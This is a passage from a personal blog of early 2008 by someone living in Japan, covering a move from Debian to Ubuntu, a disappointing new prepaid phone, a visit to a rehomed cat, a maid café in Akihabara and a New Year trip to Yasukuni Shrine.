I am now in the process of migrating the rest of my stuff over from Debian as I go along, but compared with previous OS updates this has been very painless so far: Eclipse installation and workspaces can just be run directly from the mounted Debian filesystem, Java VM can be copied over, Oracle XE can be installed via the Debian/Ubuntu package manager now, which also provides other extras such as Japanese IME (the fonts, by the way, look much better now, too).

I am also in the process of discovering all the nice applications that make up the Ubuntu desktop. Not having worked with or even seen most of them, it is very pleasant to note how natural it feels to use them. Basically they work exactly how one would expect and want them, too. UI usuability and consistency is leaps above my admittedly very bare-bones Debian install (which I very much doubt I will see again), and honestly, if asked where the Mac still comes out in front, I need to think for a while.

Very nicely put together.

Sat, 05 Jan 2008

I do not like my new phone

I had to retire my trusted old mobile phone, a veteran companion of seven years, a Sony before their marriage with Ericsson. The ageing battery had hardly a day's worth of life in it, and its operator (Tu-Ka) will terminate all services in March.

On the plus side, the new phone (again on a pre-paid plan) was the cheapest option: The new provider (au) gave me the handset (a Toshiba A5529T) and enough credit to pre-pay the phone until the end of August, both for free. Prepaid minutes are obscenely expensive, but I use the phone mostly to receive calls, with less then ten outgoing minutes a month. I was able to keep my old phone number, and of course it has a built-in camera now, along with a microSD slot that should make it easy to actually get the pictures out of the phone.

But the negatives weigh heavy: First of all, I liked to send SMS, which in Japan does not work across providers. I cannot send messages to any of the people that I used to anymore, and the messages I sent to people on my network did not work for some reason. Apparently, you are supposed to use regular e-mail instead of SMS, but Internet access is not part of the pre-paid plan. The lack of Internet features (beyond the texting) is okay for me, I did not have them before, either. But the phone is so much bigger and heavier than the old one, mostly because of the big screen needed for browsing the web and playing Java applications, none of which I can use. In fact, it seems to me that Japan has lost its lead in cool, small handset design because of this need for big screens. In addition to the size of the thing, the user interface does not adapt to the absence of online functions: Half of function keys and menu entries just bring up error dialogs. Again, I did not have any of those functions before, but my phone was not so in-your-face about it.

In conclusion, I apologise for bitching about a service I paid nothing at all for, but when my credit runs out in August, I will probably have to switch to a regular plan, or get rid of the phone altogether.

Thu, 03 Jan 2008

Give food to a dog, and he knows you his master

Kitty was always very shy with or afraid of strangers and would run off to hide in the furthest corner of the house, nervously eyeing the intruder, ready to scurry off to someplace else if approached. Well, this is how she treats us now.

We went to Kitty's new family's house in Chiba today, and after just two months she seems to have completely forgotten who we are. Or were.

:-(

Did I mention we brought a video camera to capture the joyous reunion?

Give food to a cat, and she knows you her slave

PS: Patai, the household's other cat, was not any friendlier, either. Impressive hair, impressive hiss.

Wed, 02 Jan 2008

Wikommen zurück, Meister

With the Flying Czechman in town for a few days and looking for the latest and greatest in weird Japanese pop-culture we went to a Maid Café.

A product of the otaku cosplay scene, maid cafes are restaurants where the staff dress as (manga fantasy versions of) French maids and treat the customers as masters returning to their private homes. Akihabara is home to over sixty maid cafés, as well as a few butler cafes. Welcome back home, Master.

I have to say I was disappointed. Since the point is to feel like the master of a wealthy estate, I pictured heavy carpets, comfortable slippers, a dark red velvet smoking jacket, and arm chairs. That may have been completely overblown expectations (hell, I even shaved and dressed up a bit for the occasion), but considering the amount of detail that goes into other theme restaurants such as the Alcatraz in Shibuya (fashioned after a mental hospital/prison ward, guests get to sit in cells, and the staff are dressed as nurses and doctors), or even Hard Rock Cafe or TGI Friday's the very bare-bones cafeteria that it turned out to be was quite a let-down. Even the New Year decoration on the wall kept falling down.

(Lack of) interior design aside, Wikipedia claims that although exemplary customer service is typical of Japan, maid cafés take special care to pamper patrons. No one was prepared to take our coats, though.

Speaking of patrons, they were a mixed lot, we were not the only foreigners (there was even a non-Japanese, but still non-French, maid), and Cissy was not the only female, either. The menu was okay for a cafe in Akihabara I guess (we had cake), but most certainly not the base upon which their business was built. Picture-taking was strictly forbidden, except for having the maids take polaroids, on which they would then also scribble something cute. That would have been an extra 500 yen, as would have been a game of cards or rock-paper-scissors.

We received membership cards (Licenses of Majesty, Level One: My Master -- a few dozen more visits would promote us to Glorious Masters), but if there is a next time, we definitely have to find a more upscale establishment.

Tue, 01 Jan 2008

Yasukuni Shrine

We started the year (well, the first afternoon of the year) at the controversial Yasukuni Shrine. The shrine is dedicated to the spirits of those who died fighting for the Emperor, and among the 2,466,532 enshrined are 1,068 convicted World War II criminals. It has become a mecca for the political right, and each visit by a high-ranking government official sparks outrage in China and both Koreas. Nonetheless, recent prime minister Koizumi used to go every year.

The shrine also houses a museum of the history of Japan, whose representation of war-time events is also widely criticised as being revisionist. But you do get to see a kamikaze airplane and even manned torpedoes.